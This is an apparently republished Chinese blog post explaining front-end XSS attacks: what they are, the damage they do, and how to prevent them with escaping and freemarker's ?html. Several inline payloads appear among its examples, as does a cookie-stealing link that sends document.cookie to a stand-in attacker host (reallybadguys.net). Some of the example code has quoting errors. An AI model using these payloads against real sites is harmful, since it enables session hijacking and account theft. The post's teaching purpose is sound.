前端xss攻击

标签: xss | 发表时间:2015-09-27 13:41 | 作者:xuehen
分享到:
出处:http://segmentfault.com/blogs

实习的时候在项目中有接触过关于xss攻击的内容,并且使用了项目组中推荐的一些常用的防xss攻击的方法对项目进行了防攻击的完善。但一直没有时间深入了解这东西,在此,做一个简单的梳理。

xss是什么

xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的。
XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。但是随着前端技术的不断进步,这方面的问题越来越受关注。举个简单例子 : 假如你现在是sns站点上一个用户,发布信息的功能存在漏洞可以执行js 你在 此刻输入一个 恶意脚本,alert(),那么当前所有看到你新信息的人的浏览器都会执行这个脚本弹出提示框。当然,这只是小儿科了,如果搞个更为激烈的,后果将很严重。
这个攻击过程看到有人总结了一个比较直观的图,供理解。
图片描述

xss攻击的危害

XSS攻击的危害包括:

  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  • 盗窃企业重要的具有商业价值的资料

  • 非法转账

  • 强制发送电子邮件

  • 网站挂马

  • 控制受害者机器向其它网站发起攻击
    举例:

  <body background=”javascript:alert(‘xss webjiaocheng!’)”>

<iframe src=javascript:alert(‘xss webjiaocheng!’)”>

<body onload=”a();”><script>function a(){alert(‘xss webjiaocheng!’)”></script></body>

哪些xss攻击

  • 从其它站点到应用站点的攻击:故名思义,这种攻击是由外部发起的,来自email或其它站点。这种攻击在用户点击链接,下载图片或者提交表单的时候,对应用网站进行了意想之外的操作。
    通常用户登录后会得到一个可用session,xss攻击者可以利用这个session,越过用户验证,进行一些不安全的操作,如下:

  <a href = “http:// www.2cto.com /addComment.php?subject = I am owned” >
    Check it out!
</a>

通过这个链接,只要用户登录了,就会发送一个subject,即使在其它网站上。
正因如此,一般的邮箱客户端不会自动从不信任的网站上加载图片(因为考虑到可以通过img的src属性向第三方站点发送GET请求);另外,可以设置session的过期时间,让session自动失效。

  • 从应用站点到同站或其它站点的攻击:这种攻击,通常是攻击者在应用站点上通过发表评论,或者其它方式嵌入代码,当用户加载页面或者点击链接就会产生一些意想之外的操作。
    如下:

  <a href=”#” onmouseover = “window.location 
='http://reallybadguys.net/collectCookie.php?cookie =' + 
documentcookie.escape();” >
Check it out!</a>

当用户滑过链接,就会将cookie信息发到攻击者的服务器上。

看到有的资料上面是按照另外一种方式进行归纳的:

  • 本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
    其攻击过程如下:
    A给B发送一个恶意构造了Web的URL。B点击并查看了这个URL。
    恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。具有漏洞的HTML页面包含了在B电脑本地域执行的JavaScript。
    A的恶意脚本可以在Bob的电脑上执行B所持有的权限下的命令。

  • 反射式漏洞
    这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含

在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。

预防

作为前端开发人员,我们需要尽量让自己的代码足够强大和足够完善,并且随着开发经验的增长,相信对于自己熟悉的技术领域的防xss攻击,也会有更多和更深入的理解,下面仅列举几个方面,以后可以对这部分内容不断进行扩充。

  • 对于名字,描述之类的数据,需要格外注意其数据来源,在自测过程中,多输入xss异常数据。如:

  ></script><iframe/onload=alert(2)> 

之类的xss脚本。方便发现潜在的漏洞。

  • 在js中使用innerHTML方法修改dom的时候,要对数据进行转义。

  • 在使用一些模板语言的时候,以freemarker为例,入口文件可用

  <#escape x as x?html> ... </#escape>

指令包裹,这样可以保证该指令之间的模版数据在输出数据时默认转义。某些特定情况下,不方便使用<#escape>指令的时候,可以在输出的地方进行转义,如:${name?html},html方法既为ftl的转义指令。

相关 [前端 xss] 推荐:

前端xss攻击

- - SegmentFault 最新的文章
实习的时候在项目中有接触过关于xss攻击的内容,并且使用了项目组中推荐的一些常用的防xss攻击的方法对项目进行了防攻击的完善. 但一直没有时间深入了解这东西,在此,做一个简单的梳理. xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的.

XSS 前端防火墙 —— 内联事件拦截

- - FEX 百度 Web 前端研发部
关于 XSS 怎样形成、如何注入、能做什么、如何防范,前人已有无数的探讨,这里就不再累述了. 几乎每篇谈论 XSS 的文章,结尾多少都会提到如何防止,然而大多万变不离其宗. 要转义什么,要过滤什么,不要忘了什么之类的. 尽管都是众所周知的道理,但 XSS 漏洞十几年来几乎从未中断过,不乏一些大网站也时常爆出,小网站更是家常便饭.

XSS 前端防火墙 —— 天衣无缝的防护

- - FEX 百度 Web 前端研发部
上一篇讲解了钩子程序的攻防实战,并实现了一套对框架页的监控方案,将防护作用到所有子页面. 到目前为止,我们防护的深度已经差不多,但广度还有所欠缺. 例如,我们的属性钩子只考虑了 setAttribute,却忽视还有类似的 setAttributeNode. 尽管从来不用这方法,但并不意味人家不能使用.

深掘XSS漏洞场景之XSS Rootkit

- jyf1987 - 80sec
深掘XSS漏洞场景之XSS Rootkit[完整修订版]. 众所周知XSS漏洞的风险定义一直比较模糊,XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议. XSS漏洞类型主要分为持久型和非持久型两种:. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞. 持久型XSS漏洞一般存在于富文本等交互功能,如发帖留言等,黑客使用的XSS内容经正常功能进入数据库持久保存.

XSS 探索 - big-brother

- - 博客园_首页
正常的页面被渗出了攻击者的js脚本,这些脚本可以非法地获取用户信息,然后将信息发送到attacked的服务端. XSS是需要充分利用输出环境来构造攻击脚本的. 非法获取用户cookie、ip等内容. 劫持浏览器,形成DDOS攻击. Reflected XSS:可以理解为参数型XSS攻击,攻击的切入点是url后面的参数.

百度知道XSS漏洞

- - 博客园_首页
事情的起因是我一同学在百度知道上看到一个很奇怪的,正文带有连接的提问( 这里),正常来说,这种情况是不可能出现的. 我条件反射的想到了:XSS漏洞. 通过查看源代码,我马上发现了问题的根源:未结束的<a>标签. <pre class="line q-content mt-10" accuse="qContent">帮我写一个能提取<a href="http://.

XSS攻击技术详解

- - BlogJava-qileilove
  XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆. web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中. 比如这些代码包括HTML代码和客户端脚本. 攻击者利用XSS漏洞旁路掉访问控制--例如同源策略(same origin policy).

XSS攻击及防御

- - BlogJava-qileilove
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性. 其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.

pentesterlab xss漏洞分析

- - JavaScript - Web前端 - ITeye博客
pentesterlab简介. pentesterlab官方定义自己是一个简单又十分有效学习渗透测试的演练平台. pentesterlab环境搭建. 官方提供了一个基于debian6的镜像,官网下载镜像,使用vmware建立一个虚拟机,启动即可. ps:官方文档建议做一个host绑定,方便后面使用.

XSS攻击及防御

- - 互联网 - ITeye博客
       本文来自: 高爽|Coder,原文地址: http://blog.csdn.net/ghsau/article/details/17027893,转载请注明.         XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.